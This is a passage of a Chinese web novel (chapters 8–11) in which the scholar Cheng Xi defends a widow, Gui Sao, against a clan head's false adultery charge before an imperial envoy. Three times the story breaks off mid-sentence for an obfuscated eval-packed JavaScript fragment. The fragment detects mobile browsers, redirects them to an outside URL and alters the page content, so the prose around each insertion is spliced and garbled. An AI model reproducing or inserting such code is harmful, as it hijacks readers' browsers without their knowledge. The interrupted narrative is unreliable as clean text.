“就算我同意这么做,我妹妹也不是傻的,她怎么可能同意?”贵嫂说道。 “那可说不好,没准你妹妹她,巴不得呢!” 8. 第 8 章 “这事是大事,族长您让我好好想想。”贵嫂采用了拖字诀。 听到贵嫂的话,族长没有生气,只是淡淡地地说了一句:“那你可要尽快想好,时间不等人啊。” 三个大人都没有注意到,福丫藏在窗户后面的眼睛。 族长夫妻离开之后,贵嫂就陷入了沉默,好像不知道时间的流逝,福丫转动了一下眼睛,偷偷跑了出去。 族长夫妻这时候也回了家,等在家中的少族长不由迎上来问道:“爹!不是说要设计程曦吗?您怎么突然要把对象换成阿贵的妻妹?” 族长闻言,和大儿子解释道:“之前要设计,是因为打算钉死他们,但是现在她娘家情况有变化,她妹妹不愿意交出儿子,自然就有不同的应对方法了。” “这是为什么?”少族长纳闷地说道:“不是要害死她妹妹的儿子,或者让她失去继承权吗?” “难道二弟那边不是在帮争夺漕帮继承权的某个人,打算帮他减少对手吗?”少族长将询问地眼神投向族长。 “你问我,我怎么知道?你弟弟的信里面又没写!”族长说着,又说道:“但是我能确定一件事情,就是你弟弟说了,能够掌握那个小孩子最好,不能的话就想办法害死那个孩子,最次也是坏了那个孩子娘的名声。” “之前我打探的时候,那些过来的人把一个小院子围地水泄不通,他们宗族知道那是一个金娃娃,根本没有下手的机会,所以你爹我才取了下策,打算毁了她们家女孩子的名声,毕竟有一个通奸的姐姐,妹妹肯定有样学样,谁能保证孩子的血脉呢?” 少族长闻言连连点头。 “但是现在情况完全不同,我今天派人去打听,听说阿贵家那位的妹妹和她一样倔,她是为了孩子不愿意改嫁,她妹妹则是不愿意用孩子换漕运线。” “她非要说什么就算给漕运线,也不能把孩子交出去,真是好笑,聘则为妻奔为妾,她连小妾都算不上呢!人家遗孀妻子才是孩子名义上的母亲,要不是那人死之前没儿子,能轮得到一个野种吗?”族长的话语中充斥着不理解:“想也知道,为了掌握好男人留下来的钱财人家也会好好养大孩子,真不知道她做什么要阻挡了孩子的富贵荣华!” “但是她脑子有问题,对我们来说是好事啊,把阿贵家的换成她妹妹,就可以让二流子娶了她妹妹,她妹妹这么舍不得孩子,还不是要把孩子带回我们眼皮子底下?”族长越说越觉得自己的主意好:“而且带回孩子也名正言顺,就说那是她妹妹和二流子弄出来的孩子就好了。” 就在族长为自己的办法得意的时候,程曦迎来了自己的耳报神。 福丫走的是大黄的狗洞。 虽然五奶奶把大黄的狗洞封住了,但是也是从内部堵住,让大黄没办法出去,但是福丫是有双手的人,她完全可以搬开砖头、推开木栅栏,然后钻进来。 机灵的福丫就这么躲开了正门赌棍们的视线。 “曦叔!”福丫小声道:“族长刚刚跑去我们家了!” 程曦看到福丫做贼一样的姿态,颇为无奈:“你这小孩,外面多黑啊,你怎么一个人跑过来。” “我看得见!”福丫说了一句,然后才对着程曦悄悄说道:“族长想让我娘告诉大家,和二流子躺在一起的是我小姨!然后让我小姨带着弟弟嫁给二流子!” ? ?? ??? 程曦满脑袋的问号。 “你是说,族长刚刚去你家里,对你娘说,她可以告诉外人,其实是你小姨和二流子通奸,和她没关系,昨天晚上的也是你小姨?”程曦向福丫确认。 福丫认真点头:“没错!” 程曦不理解,程曦大为震撼。 “不是,他是觉得大家伙都是瞎的吗?”说完程曦看了福丫一眼:“而且你昨晚还喊娘了,所以光瞎不够,还要聋的才行。” 程曦真的很想知道,族长到底给了二流子家里多少好处,才让他们愿意干这种事情。 转念一想,程曦又觉得说不定不是给好处,而是威胁。 只是如果双方愿意,宗族应该也没人会揪着这件事不放,所以族长的计划还真有成功的可能性。 福丫坐在程曦家的小板凳上,对着程曦说:“所以他们是不是为了我小姨生的弟弟,才会陷害我娘?” 程曦点头。 “哎,如果小姨不生弟弟就好了。”福丫说道。 程曦捏了捏福丫的小揪揪:“你小姨不生弟弟,族长也不会放过你们的,就是不用陷害你娘,直接给你定亲就行了。” “还有什么话,赶紧一起告诉我,然后快点回家去,不然你娘发现你不见了,会着急的。”程曦提醒道。 “也没有什么了,就是威胁我娘,如果我娘不愿意,他们就要送我娘去见官。” “等等,你说他们要送你娘去见官?”程曦惊讶,不,准确地说是惊喜地问道。 福丫非常肯定地用力点头:“没错,族长说会有杖什么来着?杖刑!” “这种关头他敢见官?”程曦笑了:“你可以回去告你你娘,其实见官是好事。” “见官怎么可能是好事呢?”福丫一副你别糊弄我的样子。 “平时不是,但是现在,咱们县可是有大案子、有钦差要来啊!”程曦说道:“族长可没办法贿赂钦差,甚至为了你二爷爷我二伯,他还要尽量避免钦差发现自己的手脚呢!” 听到程曦的话,福丫还有点似懂非懂。 “总之啊,如果见官,你娘会有比较大的概率洗清名声,但是也不排除会被严格审判的可能,”程曦对福丫说:“福丫告诉你娘,县里有三品官死了,朝廷会来钦差接管县衙查案,让她自己选择吧。” “选择好了再应对族长,且看他自己作死。” 毕竟贵嫂之前是豆腐西施,想来是负责卖豆腐和人打交道的,加上嫁给贵哥后也去到过不少地方,程曦相信她还是有一定的见识,能够明白的。 福丫点头,重复了一遍程曦的话,继续钻狗洞回了家。 大黄想要跟着福丫钻出去,被族兄眼疾手快地扼住后脖颈制裁,留在了家里。 福丫回家的时候,果然贵嫂已经发现她不见了。 一看到福丫会来,贵嫂连忙抱住她:“你这皮猴子,跑到哪里去了?你不知道娘会担心吗?娘还没办法出门找你!” 福丫抱住贵嫂蹭了蹭:“娘,您别担心,我是去找曦叔了。” “曦叔?程曦?”贵嫂问道。 程曦在宗族内都很有名,毕竟像他这样敢于直接杠族长、踩着族长底线反复横跳的人,古人就没见过几个。 关键是族老在族长的示意下说他,程曦还敢回答一句:“真名士,自风流,你们不懂!” 为此,很多人都觉得程曦脑子有病,但是另一批人认为程曦能够考上秀才,肯定不会有病,一定是大家不能理解他们这种才子。 虽然如此,但是贵嫂一家平时和程曦都没什么联系,贵嫂不明白女儿为什么会和他扯上关系。 福丫闻言点头:“今天早上我洗衣服的时候,曦叔就来找我,说他能帮我,只要我能帮他给族长添堵就行!” 贵嫂闻言嘴角抽了抽,这种说法,还真是程曦的风格啊。 福丫继续说道:“晚上我偷听到族长对娘说话了,我觉得他不怀好意,就偷偷跑出去告诉了曦叔。” “娘!”福丫突然认真地看向娘亲。 “怎么了?”贵嫂抱紧福丫,问道。 “我知道娘肯定不会害小姨,拖延是为了想办法通知小姨他们,娘估计还会让我偷跑跑走,然后娘就会牺牲自己,”福丫说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374199|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“但是我不想要娘牺牲。” 贵嫂抱紧福丫晃了晃:“福丫,你要知道,人生在世,有所为有所不为,这是你爹生前常常念叨的,你要和娘一样,记得牢牢地。” 福丫闻言说道:“我知道!娘经常跟我说,所以我问了曦叔办法!” “什么办法?”贵嫂不解。 “曦叔说了,如果族长要送娘见官,娘可以去见,也许是好事,因为有个大官死了,皇帝要派人来查,所以现在见官的话,见的是皇帝的人,肯定不会偏向族长他们的!”福丫传话虽然没有很精确,但是意思是到了的。 贵嫂立马听明白了:“皇帝老爷派来的官肯定能够查清楚,还我清白!” 福丫连连点头:“就是这样!” 贵嫂立刻发散思维:“有人要抢你小姨的儿子,你小姨也可以去报官!” 福丫皱巴起小脸:“可是娘,小姨生的弟弟如果是他们说的私生子,官府是不是也不会管啊?” “你懂什么?你小姨她是有拜堂的!不是没有名分的人!她拜堂过,别人怎么还能抢她儿子?”贵嫂对着福丫说道。 毕竟妹妹怀孕之后妹夫就不见了踪影,这不是什么光彩的事情,自然会瞒着福丫这种小孩子,但是贵嫂和贵嫂的家人还是知道的。 “如果这样的话,娘可以和小姨一起见官!”福丫带着天真说道。 贵嫂摸了摸福丫的脸蛋:“还不知道来的大人如何呢?娘先去,如果好的话,再让小姨去。” 福丫沉吟了一下:“也可以,不然曦叔一次代理两个人的官司,可能忙不过来。” “你曦叔说要替我打官司?”贵嫂问道。 “当然!他说了,都是看我的面子!”福丫骄傲。 “哎呀,那娘要谢谢小福丫了。”贵嫂抱住了福丫,就好像抱住了自己的整个世界。 与此同时,和贵嫂血脉相连的妹妹也抱住了自己的儿子:“儿子,没有人能够把你和娘亲分开!娘绝对不会把你给他们的!” “小花啊!这族里都被钱迷花了眼,咱们挡不住啊。”贵嫂亲爹发愁地说道。 “爹你是见过骞哥的!你也知道,他们说的那个什么漕帮的头领根本就不是骞哥!他们认错了人!”贵嫂妹妹说道:“骞哥武艺高强,根本不可能那么容易就死掉的!” “他们说人是病死的,武艺高强也不妨碍生老病死啊。”贵嫂哥哥插嘴道。 “不会说话就不要说话!”看着女儿快哭了,贵嫂亲爹连忙教训儿子道。 教训完儿子,贵嫂亲爹发愁地对着女儿说道:“但是所有的证据都显示,和你拜堂的这个鲁骞,就是一个漕帮的头领啊。” 说完,贵嫂亲爹还看着女儿的神色试探地说道:“这文书签的都是他的名字,银子也是花的他的钱,虽然描述和阿骞有点差别,但是也算是相似的,也许是跑船长相变化呢?” “不可能!骞哥说了,我是他唯一的妻子!” “男人的嘴骗人的鬼,谁知道是不是家里一个外面一个,他在搞两头大呢?”贵嫂亲哥继续说道。 “我不许你这么说骞哥!”贵嫂妹妹说着。 贵嫂亲哥对于妹妹的样子简直没眼看。 就在一家人说话的时候,突然贵嫂亲哥的大儿子拿了一个纸团回来了:“爹!我回家路上有人说让我把这个给你!” “什么东西?谁给你的?”贵嫂亲哥展开了纸团。 展开一看,贵嫂亲哥就惊了:“大妹婆家流氓想要坏大妹清白?” “什么?!”全家人都惊到了。 “族长还说他们是通奸?!” “不可能!你大妹妹不可能偷汉子!”贵嫂亲爹说的斩金截铁,又心虚地看了眼小女儿:要是小女儿,自己不敢打包票,但是大女儿那个木头脑袋,根本不可能! 9. 第 9 章 贵嫂的娘家人都非常相信她。 毕竟当年贵哥过世的时候,贵嫂的娘家人就给她找了非常不错的对象,她当时就拒绝了改嫁,当年那么好的对象都不动心,怎么可能和村里的流氓看对眼? “程家族长怎么能够这么不辨是非?”贵嫂妹妹闻言也不满:“这明显是流氓非礼未遂啊!” 这时候,一直在旁听,没有说过任何话的贵嫂大嫂开口了:“咱们家最近碰到了好多事情,还有人故意碰瓷想要从漕运线里分钱,大妹妹的族长是不是也有这种打算啊?” 娘家大嫂的脑回路和程曦族兄对上了,但是显然,两人都低估了族长的野心。 就连程曦,在已知条件不足的情况下,猜想的也是族长需要漕运线背后的运输网,而不知道贵嫂妹妹生下来的根本就不是漕帮领袖的儿子。 如果程曦知道的话,可能能够推测出来,重要的不是漕运线,而是贵嫂这个小外甥亲爹的身份。 什么样的男人能够用漕帮头领的身份租房花钱? 什么样的男人能够让二伯背后的人盯上他的儿子? 二伯他们想要这个小婴儿,究竟是为了投诚、威胁,还是栽赃? 此时,程曦觉得说得通的说法只有族长想要利益。 因为想要利益,程曦认为族长不会轻易地让贵嫂出事,所以对于见官这个计划信心十足。 此刻,贵嫂虽然知道妹妹是明媒正娶,但是她并不知道漕帮头领的信息,程曦虽然知道漕运线的信息,但是并不知道人物身份存疑,贵嫂娘家虽然知道头领的身份对不上,但是并不知道贵嫂正在被族长逼迫所以打算见官。 因为这番完美错过,贵嫂很快就把二流子告上了公堂。 贵嫂想着,既然不怕见官,何必等族长告官之后再证明自己呢?自己行得正坐得直,碰到二流子这种情况,就是应该告官才是啊。 于是,当族长听到消息的时候,已经是县衙传唤他的时候了。 “蠢妇!愚不可及!”族长听到消息,气愤地摔了手上捧着的茶盏。 不管心里多么生气,族长在官兵面前都是好声好气地,主动迎接了出去,给领头塞了红包,才问道:“各位官老爷,我们族里出现这种事情,简直是颜面无光,不知道能不能让我带上几个族人,让他们好好看看,引以为戒?” 审案本来就是公开的,官兵无可无不可地答应了下来。 族长自然是找了几个能帮自己佐证的人一起去了县衙。 可惜让族长不高兴地是,消息灵通的程曦也赶到了队伍中,打算一起去县衙。 “曦哥儿啊,你身体不好,就别去了吧,不然路上受凉了,回来又要大病一场。”族长貌似关怀实际可能是诅咒地说道。 程曦当然不会听族长的话不去,毕竟这可是关系着族长私底下计划的大事,程曦怎么会放过这次机会? 不过说实话,听到贵嫂直接把族长告了的时候,程曦的内心是无比惊讶的。 我只是告诉你可以见官,你就直接反客为主啦? 程曦的内心微微有点崩溃,但也深刻认识到,周围这些人,不管他们的智力和学历如何,都是活生生的人,人的一大特点就是具有主观能动性,所以很难控制他们和NPC一样按照自己的布置来。 这些主观能动性,有的能够给程曦带来好处,比如说族兄从开店的兄弟那里得到的信息,有的也能给程曦带来麻烦,比如贵嫂从族长监视下跑出来,直接告了二流子,但是这才四天时间,程曦真的害怕钦差都还没来啊! 如果钦差还没来,县太爷直接断案结束,还玩什么?玩谁和县太爷关系好的游戏吗? 虽然县太爷平时为官还算公正,不该贪的一律没贪,但也不代表他不想给上级留下一个好印象啊! 众所周知,重要领导来临之前,扫尘、结案、巡逻都是常见程序,这种案子,当然是尽快完结掉,体现自己断案如神啊! 好在,程曦跟着到了县衙的时候,看到端坐在上方一身劲装的官员,那脸白白的颜色一出,都不需要分辨五官,程曦就知道不是县太爷那个黢黑的老树皮。 虽然不用分辨五官,程曦还是认真观察了一下,这一观察就不得不说,这小白脸官员长得还挺帅的,差一点就能赶上自己的帅气程度了。 主要是这身劲装还挺挺括的,人肯定是有习武的底子,才能日夜兼程骑马赶过来,程曦想着,自己也能做一身。 自恋的程曦听到钦差说道:“程氏族长可来了?” 族长连忙应声,站上了公堂。 “程族长。”钦差喊道。 “是的!小民在!”族长说着,还用衣袖擦汗。 “听说你认为这件事情不是族人觊觎寡嫂,而是两人通奸,不知道你有什么证据吗?”钦差问道。 “大人明鉴,这都是小民和族人亲眼看见的啊!”族长连忙说道。 “亲眼看见?是看见他们敦伦,还是看见什么?说清楚了。”钦差下令。 “小民看到他们两衣衫不整!”族长说:“家门不幸,他们就穿了中衣!” “然后呢?还有别的吗?”钦差追问。 “没有了。”族长回答道,又补充了一句:“但是这已经证明他们两不清白了啊!” “大人明鉴!民妇在自己家中自己房中睡觉,肯定是穿着中衣的!是这贼人闯进来的!”贵嫂连忙解释道:“我还没来得及打他,就有一群人冲进来,把我和他都拉了出去。” “大人明鉴!真的是这个毒妇灌醉了我,然后才非礼我的!”二流子收到过族长的暗示,说道:“每次我都会被灌醉,晚上迷迷糊糊地做一通,然后醒来就是这个女人在边上!” “你说谎!” “你放屁!” 双方就这么争执了起来。 “肃静!”钦差一拍惊堂木,就镇住了公堂上的所有人。 “既然各执一词,你们可以各自证明对方的真假。”钦差说道。 贵嫂回头,看到了程曦。 这里的人几乎都是族长的人,估计是不会帮自己作证的,程曦就成为了唯一一个可能,所以贵嫂将饱含希望的眼神投向了程曦。 程曦果然不辜负贵嫂的盼望,说是要代理就是要代理,当即迈步向前,对着钦差说道:“学生程曦,为程贵妻子代理诉讼,大人可否准许我证明?” “准!”钦差说道。 “学生要证明他说的是假话,因为学生知道一个铁定的事实,作为男人我们都应该知道,醉得厉害了,连人脸都认不清了,那时候是不可能一柱擎天的!” 听到程曦的话,整个公堂都陷入了沉默。 如果没有程曦挑破,可能有些男人会以为就只有自己不行呢,原来都不行啊,那自己就放心了……等等,这不是所有人都丢脸丢到了公堂上?! 不是,程曦你没事吧?有你这样证明的吗? 你这不是把我们所有人的脸都拉下来了吗?以后还怎么把借口推给醉酒? “公堂之上!不得儿戏!”最终还是钦差反应了过来。 “大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374200|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,学生真的没有儿戏,不信您可以征求一批愿意尝试的人,看看他们喝醉了到底行不行?”程曦说道:“这分明就是程流撒谎的!” 程流就是二流子的大名。 钦差的脑门上都是疑问:不是,你这,你正常吗?我是谁?我在哪?这里是公堂吗? 族长的脸色诡异又难看。 程曦还在继续说着:“如果怕他们作假,我们可以现场灌酒,或者去隔壁街道的怡红院查看就知道了!” 钦差等人:不,我们并不怕,也不想知道。 “要现在证明吗?”程曦跃跃欲试。 “不必,先暂时给你记上。”钦差不愧是见过大场面的人,当即制止了程曦的提议:“你还有什么证据吗?” 程曦闻言才继续道:“既然这一条没有疑义,那么我们可想而知,程流和程贵之妻是没有发生任何关系的,族长所说的通奸和程流所说的他被占便宜,都是不存在的事情。” “所以学生认为,这件事情的事实已经非常清楚了,就是程流试图占便宜不成,反咬一口,族长缺少判断力,认为是通奸。” “等等!”族长坐不住了,连忙说道:“你这都是假设的,没有证明!” “我说了可以证明,这不是没人吗?还是族长您想要展示一下?哎呀!早说嘛!”程曦挤眉弄眼喊地说道:“早听说族长您本钱深厚,现在是迫不及待想要向大家展示一下?” 说着程曦开始拉扯族长:“族长您别害羞呀!想展示就展示出来,让我们也见识见识啊!” “斯文扫地!不成体统!”族长一甩袖子,怒火冲冲地骂道。 听到族长的话,程曦意味深长地扫了一眼族长的某个部位:“难道您是此地无银三百两?” 族长脸都气得憋红了,毕竟也是六十多岁的人了,一口气没上来就晕了过去。 钦差看到这幅样子,当机立断说道:“重要证人生病,现在退堂,收押程流、程贵遗孀,后日再审!” “本官还有要事,此案之后再说。”说完,钦差就跑了。 程曦见状,连连摇头:看这一个两个的,心里承受能力怎么就这么差呢? 看看人家女人,被你们□□彐羞辱,也能堂堂正正地站在公堂上,结果你们不过是体会了一点点女性的处境,被稍微地“小夫”羞辱了一下,就破防了? 这届男人不行!程曦摇头。 傍晚,族长醒过来,就问儿子情况如何了。 “爹您放心,您晕过去之后,钦差就退堂了,我们没什么损失。”少族长回答道。 “那就好,那就好。”族长说着,看到儿子的眼神闪烁,预感到不对,问道:“你那眼神……还发生了什么事?” 少族长摸了摸鼻头,觉得这件事情怎么也不可能完全瞒过父亲去,于是最后还是艰难地开了口:“就是您在公堂上被程曦逼着证明这件事,可能全县的人都知道了。” “什么意思?”族长追问。 “就是程曦说你本钱,咳咳,本钱可观,但是后面又说您不敢展示,所以很多男人和妇人都在讨论您到底如何……”少族长艰难地告诉了父亲。 族长一口气差点又没上来。 “爹您冷静!别中了程曦的计策!” “我很冷静!”族长说着转过身去:“我今天也累了,要休息一下,你先离开吧。” 少族长担心地看了眼父亲的后脑勺,关门离开了父亲的房间。 半夜,族长骤然坐起,实在忍不住:“不是,程曦他有病吧?!” 10. 第 10 章 成功给族长造成心理创伤的程曦带着福丫去了贵嫂的娘家。 贵嫂娘家大门紧闭,明显是谢客的状态,还是福丫扯着嗓子喊外公外婆舅舅舅妈,才让听到熟悉声音的一家人将信将疑地开了门。 一开门,就看到福丫和一个陌生的年轻男性在门口。 “福丫你怎么来了?你娘呢?”贵嫂的哥哥问道。 “我娘被官府的老爷关起来了,说要审案子。”福丫说道。 这话一落,贵嫂哥哥的脸色就变了:“怎么会?” 说着,贵嫂哥哥像是想起来什么一样:“难道是你们族长干的?我们前两天才收到消息说你娘差点被欺负,你们族长还说是她和人家勾搭上了!” 听到舅舅的话,福丫眼珠子一转,说道:“是啊舅舅,官老爷把我娘和那个流氓都抓起来了,舅舅你们可要想想办法救我娘啊!” 在送福丫来之前的路上,程曦就已经给她打了预防针。 “福丫,有件事情我犹豫过要不要告诉你,但是我觉得你是个懂事的孩子,还是知道对你更好,”程曦是这么说的:“前天我已经让你族伯帮忙给你外公家送了信,说明了你娘被族长说通奸的情况,但是昨天一天你外公一家人都没有出现过,所以……” 程曦这话说出来,福丫就明白了过来:“所以可能我外公他们并不在乎窝囊,所以没有立马来确认我娘的情况,我过去他们家里生活也可能会出现意外。” “是这样没错。”关键时刻,程曦是硬得下心来的:“所以你要不要考虑一下,是听你娘的去外公家,还是先在我家待几天?” “谢谢曦叔你的好意,”福丫叹了口气:“不是我不想在你家待着,主要是你没发现,比起我和我娘,族长更恨你吗?今天一大早就有人在你家门口泼粪,我真的很怕被你连累啊!” 听到福丫的话,程曦的嘴角忍不住抽搐了一下,还在嘴硬说道:“你曦叔我平时得罪的人也不是一个两个,你怎么确定就是族长呢?” 福丫用看傻子的眼神看程曦:“粪水这么重要的肥料,除了族长这种狗大户,村里谁会舍得泼在你家门口啊?” 程曦严重怀疑福丫这孩子的人设是高智商反派的幼年版! 所以,当程曦听到福丫一脸天真地说道:“舅舅你们肯定有办法救我娘的对不对?对了,舅舅你们前两天就知道了,怎么没来找我娘啊!” 程曦突然有点像知道贵嫂哥哥怎么回答。 却不料,人家真不是不在乎贵嫂,而是家里出事了。 “本来我和你外公昨天就想要去找你娘,还打算找关系好的亲戚一起过去镇场子,但是昨天你外公在路上看到一个和你小姨夫长得很像的男人,临时去追人追丢了,还摔断了腿,我们忙乱了一天,晚上送走了医生才托人去看你娘的情况。”贵嫂哥哥一脸苦涩。 听到这话,程曦不由问道:“大哥你好,我是贵哥儿族里的弟弟,这次嫂子上公堂,我也是替她诉讼的讼师,受嫂子之托送福丫来她娘家暂时生活一段时间。” 昨晚自我介绍之后,程曦才说道:“大哥您说大伯昨天看到了福丫的小姨夫?但是根据我过来时听到的消息,福丫的小姨夫不是过世了吗?他的家属难道没确定就开始争儿子了?” “说起这事,我妹妹现在还不相信妹夫出事了呢,虽然我妹夫租房、买房、立契都是用的漕帮头领的名字,但是我们全家都觉得人家描述的那个漕帮的人和我妹夫不是一个人。”贵嫂哥哥说道:“所以看到相似的人影,我爹才抢着追上去。” 听到这里,程曦神色不便,心里却被我屮艸芔茻刷了屏。 顶替他人身份?这是什么展开啊?贵嫂一家不会是摊上事了吧? 什么人才需要藏头露尾,不敢用真实身份的? 什么人能让漕帮首领帮忙掩饰? 这一刻,程曦甚至都害怕,自己会不会知道了什么不该知道的,被杀人灭口? 虽然明白有时候知道的越多死得越快,但是该死的好奇心让程曦实在没办法“适可而止”,只能安慰自己:好歹知道自己为什么而死,比糊里糊涂死掉不是好得多?不然做鬼都不知道要找谁报仇。 不过转念一想,二伯敢掺和进来,还想要掌握这个神秘人的儿子,岂不是代表这个神秘人很有价值? 想想贵嫂在自己不要怕见官的建议下直接毁掉了族长的计划,程曦内心更是涌上来巨大的满足:看到族长一家不高兴,我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374201|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高兴了嘿嘿! 担忧过一瞬之后,程曦搞事的想法开始冒头。 于是,贵嫂哥哥很快收到了程曦的免费分析。 “您妹夫用的是漕帮头领的身份,说明要么漕帮头领有求于他,要么他们是亲戚朋友,要么他能够威胁到漕帮头领。”程曦说道。 程曦进一步分析:“首先,我们主要排除亲戚朋友的可能。” “为什么?”贵嫂哥哥不解:“我们都猜我那妹夫是不是和漕帮那人有什么交情呢。” “准确地说,他们应该没什么能够摆在明面上的交情,因为如果可以摆在明面上,漕帮头领的家属不可能一无所知的。”程曦解释道。 “其次,有求于他的情况,说明他有漕帮头领都需要的关系人脉,他会看着孩子快被抢走了还不现身吗?”程曦认为这就不是一个问题。 但是贵嫂哥哥还真的回答了:“那有的男人就是不怎么看中孩子啊?他们觉得多的是人给自己生孩子呢。” 程曦心想:怎么可能?要是这孩子不重要,二伯还需要靠族长这么迂回地来达成目标? “如果你们妹夫是这种人,那只能说你们没有眼光,不能按照常理揣测他了。”程曦无奈地说道:“最后,一个漕帮头领,三教九流的人都认识很多,威胁他?关键是威胁完还能和你们正常生活一段时间,这期间没被小混混反复打扰,更说明你们这妹夫本来也不是什么普通人了。” 听到程曦的话,贵嫂哥哥头疼:“我们也想不到他还能瞒着我们啊!这事搞得,怎么办才好?” 贵嫂的嫂子一拧丈夫腰间的肉,说道:“什么怎么办?程师爷就在你面前,你还问怎么办?你脑子能有人家的好使?” 说完,贵嫂的嫂子堆砌起笑容,看着程曦说道:“都说送佛送到西,程师爷您给我们大妹妹做了讼师,大妹妹这事和我们家这事肯定有关系在,为了打好案子,肯定要研究好我们这边的情况不是?这事就拜托程师爷您了!” 程曦在这个时代活了十几年,第一次看到一个脸皮能够和自己差不多厚的女性,她现在这不是花一份钱想让自己打几份工? 程曦看看福丫:都说外甥像舅,福丫这幅样子,难道是像了舅妈? 11. 第 11 章 “好说好说,”程曦露出笑容,丝毫没有介怀贵嫂嫂子的算计。 程曦本来也不是会主动做善事的好人,早就和福丫排练好了配合,打算在这家人着急的时候,让福丫点醒他们,现在贵嫂的嫂子用厚脸皮代替了福丫的角色,对程曦来说却是正中下怀。 就是冲着你们来的,多谢了哈! 程曦都不禁感慨,贵嫂的娘家人还是太天真了,居然不知道免费的才是最贵的。 你以为是在道德绑架,却没想到那些没道德的人为啥愿意被你们绑架? “如果用得上我,我当然义不容辞!”程曦话说的非常好听:“就是我可能需要多了解亿点点细节。” “当然没问题,所以您想要知道什么?” “不如让当事人都一起来讲清楚,不然可能会有差错?”程曦提议。 天真的贵嫂家人答应了。 于是,当程曦走出贵嫂家门的时候,全家都没忍住直接拿着茶壶倒水duangduang地灌。 “这位程秀才,还是太细心了哈。”贵嫂亲娘都没忍住感慨了一句。 “细心点也是好事,咱用起来才放心啊。”贵嫂的大嫂说道。 全家人都赞同地点点头。 福丫看着自己的亲人,不知道为什么,总觉得自己好像做了什么错事。 程曦此时已经到了牛车边上。 “你说说你,平时让你干个事,千催万请,今天都下雨了,还急着送福丫过去,晚一两天怎么了?”族兄抱怨着,给程曦递了擦汗的布巾。 “有的事情能拖,有的不行啊。”程曦说着,躲进了带着顶棚的牛车里。 “现在回家吗?”族兄问。 “回家?好不容易过来一趟,怎么能直接回家?我们作为有责任心的讼师,必须要和大人们好好沟通才是啊。”程曦一挥手:“走着,咱去拜访钦差大人!” 族兄露出了难以言喻的表情:“等等,你现在去拜访钦差大人?你有递拜帖吗?” 程曦摇头:“我是什么人?也配给钦差递拜帖?当然只能直接上门求见了啊!” 族兄不理解,族兄大为震撼。 让族兄更加震撼地是,程曦就上门去和门房一说,门房还真就给他通报了,门房通报完回来,还真就有书童请他进去了? 直到程曦嘱咐:“哥你去边上茶馆什么的歇歇脚,给牛也喂点草,等我出来直接去找你就是。”的时候,族兄依然是震撼的。 不是?为什么啊?钦差大人这么大的官?怎么就直接见程曦了? 族兄有点怀疑人生:刚刚程曦也没和门房说什么啊?就说了一句“学生程曦求见钦差大人,烦请大爷通传一下?” 程曦这两天也没出门,他能和钦差有什么交情啊? 族兄带着满脑子疑问离开了。 程曦跟着书童来到了一处会客的堂屋前。 “大人在里面等着程秀才您。”书童停在院子门前,行礼道。 程曦回礼:“多谢。”而后整理衣冠,直接迈步走了进去,当走入钦差的视线中时,才故意加快了脚步,快走几步一个大礼:“学生见过池大人!” “免礼,坐吧。”钦差等程曦坐下之后,问道:“不知道程秀才找本官,所为何事啊?” 程曦心里好笑:为了什么你不知道? 但是人嘛,想在官场混得好,一不能太要脸,二不能太实诚。 程曦连忙堆起笑容说道:“学生仰慕您已久。记得当年学生学习八股的时候,看到您中状元时写的程文,只觉得惊为天人,振聋发聩!古人有一字之师,您对于学生来说,也是一文之师啊!” “老师在上,请受学生一拜!”说完程曦跪了下来,打算行给老师的大礼。 钦差大人年纪轻轻就简在帝心,宦海沉浮多年,像是程曦这么不要脸的见得也不够多,程曦跪下来直接拜师的时候他完全就愣住了。 虽然没有预料到程曦的行为,但是好在钦差大人反应快,当即就拉住了程曦的胳膊,制止了他拜下的举动。 程曦试图把礼节行全,却想不到钦差的力气居然这么大,看着是小白脸,身体上都是腱子肉,程曦用力、用力、用腰腹再用力,硬是没拜下去。 程曦:这年头的读书人是真厉害啊,果然能扛过春闱的都是身体倍棒的狠人! 制止了程曦,钦差用力把他拉起来,客气地说道:“虽然在这件案子中,我们是官员和讼师,但是私底下,我托大称一声兄长,愚兄也仅比贤弟大几岁,实在是当不起贤弟的老师。” “您何出此言,达者为师,您完全当得起。”程曦连忙说道:“只怕您看不起学生……” 钦差的青筋都快要冒出来了:“不敢当,不敢当,如果贤弟不嫌弃,愚兄表字明崖,贤弟唤我一声明崖兄就好。” 程曦见好就收:“想来明崖兄尚未有收徒的打算,那愚弟就厚着脸皮唤一声明崖兄了。” 听到程曦的话,池明崖,也就是钦差心里感叹后浪推前浪的同时,还在套近乎:“不知道贤弟可有表字?” 程曦连忙一低头:“家严过世地早,尚未见到愚弟及冠。” “贤弟进学的时候未曾提前取字吗?”池明崖问道。 